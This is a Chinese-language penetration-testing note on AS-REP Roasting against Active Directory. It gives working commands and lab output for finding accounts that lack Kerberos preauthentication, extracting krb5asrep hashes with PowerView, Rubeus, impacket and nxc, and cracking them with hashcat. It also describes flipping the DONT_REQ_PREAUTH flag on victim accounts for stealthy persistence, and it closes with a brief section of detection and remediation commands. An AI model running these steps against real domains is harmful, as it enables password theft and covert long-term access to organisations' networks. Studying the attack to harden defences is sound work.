AS-REPRoasting

1. 原理

AS-REP Roasting 攻击利用了 不启用预认证的账户(Do not require Kerberos preauthentication)。
具体原理参考:Kerberos原理 > 5.1. KRB_AS_REQ:

如果账户没有启用预认证机制,KDC 对于AS_REP的请求无需解密验证器也会返回AS_REP响应。此响应中会携带用户密码派生的密钥加密的信息,其可以被离线破解。 (哈希模式为18200 krberos5 type23)
Pasted image 20260305135159.png

1.1. FOR READ TEAM

这是很常见的攻击手法
权限维持:攻击者不仅可以利用现有的错误配置,还可以主动修改账户属性,把一个正常的账户变成一个可以随时通过 AS-REP Roasting 攻击的账户,以此实现长期的访问权限。此外,还可以在一些边缘设备(如打印机 老旧IOT设备)账户上设置 DONT_REQ_PREAUTH 标志。因为其通常会被忽略,所以隐蔽性会更高。

低噪音: 许多场景中,攻击者可以更改账户的任何属性,但无法在不知道或重置密码的情况下登录。因为密码重置很危险,因为它们极有可能触发警报。攻击者可以不重置密码,而是启用此位并尝试破解账户的密码哈希。

2. 利用前提

域用户设置了选项”Do not require Kerberos preauthentication”(默认不开启)
Pasted image 20260303235158.png

在现实环境中: 很多供应商规定其服务账号应该禁用pre-authencation,旨在让一些软件可以正常运行

此外如果攻击者对某些用户具有GenericWrite或者GenericAll的权限,那么攻击者可以禁用目标这项属性,然后进行AS-REPRoasting攻击。 这种手法被叫做Targeted AS-REPRoasting

3. 利用

3.1. on windows

3.1.1. 枚举- powerview

利用powerview可以来枚举用户的UAC标志,是否为 DONT_REQ_PREAUTH用户

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -UACFilter DONT_REQ_PREAUTH

logoncount                    : 0
badpasswordtime               : 12/31/1600 7:00:00 PM
distinguishedname             : CN=Jenna Smith,OU=Server Team,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
objectclass                   : {top, person, organizationalPerson, user}
displayname                   : Jenna Smith
userprincipalname             : jenna.smith@inlanefreight
name                          : Jenna Smith
objectsid                     : S-1-5-21-2974783224-3764228556-2640795941-1999
samaccountname                : jenna.smith
admincount                    : 1
codepage                      : 0
samaccounttype                : USER_OBJECT
accountexpires                : NEVER
countrycode                   : 0
whenchanged                   : 8/3/2020 8:51:43 PM
instancetype                  : 4
usncreated                    : 19711
objectguid                    : ea3c930f-aa8e-4fdc-987c-4a9ee1a75409
sn                            : smith
lastlogoff                    : 12/31/1600 7:00:00 PM
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata         : {7/30/2020 6:28:24 PM, 7/30/2020 3:09:16 AM, 7/30/2020 3:09:16 AM, 7/28/2020 1:45:00
                                AM...}
givenname                     : jenna
memberof                      : CN=Schema Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
lastlogon                     : 12/31/1600 7:00:00 PM
badpwdcount                   : 0
cn                            : Jenna Smith
useraccountcontrol            : PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTHwhencreated                   : 7/27/2020 7:35:57 PM
primarygroupid                : 513
pwdlastset                    : 7/27/2020 3:35:57 PM
msds-supportedencryptiontypes : 0
usnchanged                    : 89508

3.1.2. 枚举-Rubeus

也可以使用 Rubeus 工具,通过 preauthscan 操作来查找不需要预认证的账户。

#烘焙当前域中的所有用户
Rubeus.exe asreproast /format:hashcat
  
#对特定 OU 中的所有用户进行烘焙,将哈希值保存到 Hashcat 格式的输出文件中:
Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt

#烘焙特定用户
Rubeus.exe asreproast /user:TestOU3user

#烘焙外部信任域中的所有用户
Rubeus.exe asreproast /domain:dev.testlab.local

#使用备用凭证在外部非信任域中烘焙用户
Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"

3.1.3. Targeted AS-REPRoasting

试用powerview来设置DONT_REQ_PREAUTH

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=userName)(name=userName)(displayname=userName))))
VERBOSE: [Set-DomainObject] XORing 'useraccountcontrol' with '4194304' for object 'victimName'

3.2. On Linux

┌──(root㉿kali)-[/home/kali/thl/BIG]
└─# impacket-GetNPUsers bbr.thl/song:123
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Cannot authenticate song, getting its TGT
$krb5asrep$23$song@BBR.THL:7778a3e5b83d24074528729cd8e104cf$ce7dbe4474a7db21b21809a7af5f3416786079bc76f6f780dbea54769b28b03d04ca645a378eeddce0bee8615211f36cfeba66c4bf4c3b7c4adcc74b474482a977105c2d8571ff3b2393b5a61e1292c8ffa7b801ce0d76f1ae4d540ccabd7430f1f67175812a94ca527b707fc07644e6f22d2cba60f0f6e280b4f0f7dc28817df23202d8b9b81ca5d9a0ad02dcbed0a7d87b797236a902051c44a83ebe97f603b741754f36b1cbed5d9dd71d3cd82017db227d6a8004af1bf4007877cdcc2e7af7c83e60304973c0dcb5fbb98cebbe59334307b935065b1a4abbba83b5bb82cdb409

如果要枚举多个用户,使用下面的参数 -usersfile user.txt -outputfile hashes.txt

3.2.2. nxc

nxc 的smb模式下的kerberos认证,可以自动枚举

┌──(root㉿kali)-[~/Desktop/htb/AWS]
└─# nxc smb 10.13.37.15 -u 'jameshauwnnel' -p '' -k
SMB         10.13.37.15     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:amzcorp.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.13.37.15     445    DC01             [+] amzcorp.local\jameshauwnnel account vulnerable to asreproast attack

然后使用 --asreproast 获取哈希

nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt

3.3. hashcat爆破获取明文密码

完成上面的烘培后会获取到 krb5asrep 格式的hash ,使用 hashcat 进行爆破即可

hashcat -m 18200 [hash]

4. 防御

  • 确保域内不存在开启”Do not require Kerberos preauthentication”的用户
  • 域用户强制使用复杂口令,提高被字典和暴力破解的难度
#检测漏洞
 Get-ADUSer -Filter { DoesNotRequirePreAuth -eq $true }

#对单个账号进行修复
Get-ADUser -Identity svc-backup | Set-ADAccountControl -DoesNotRequirePreAuth $false -Verbose

#对域中所有账号修复
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } | Set-ADAccountControl -DoesNotRequirePreAuth $false -Verbose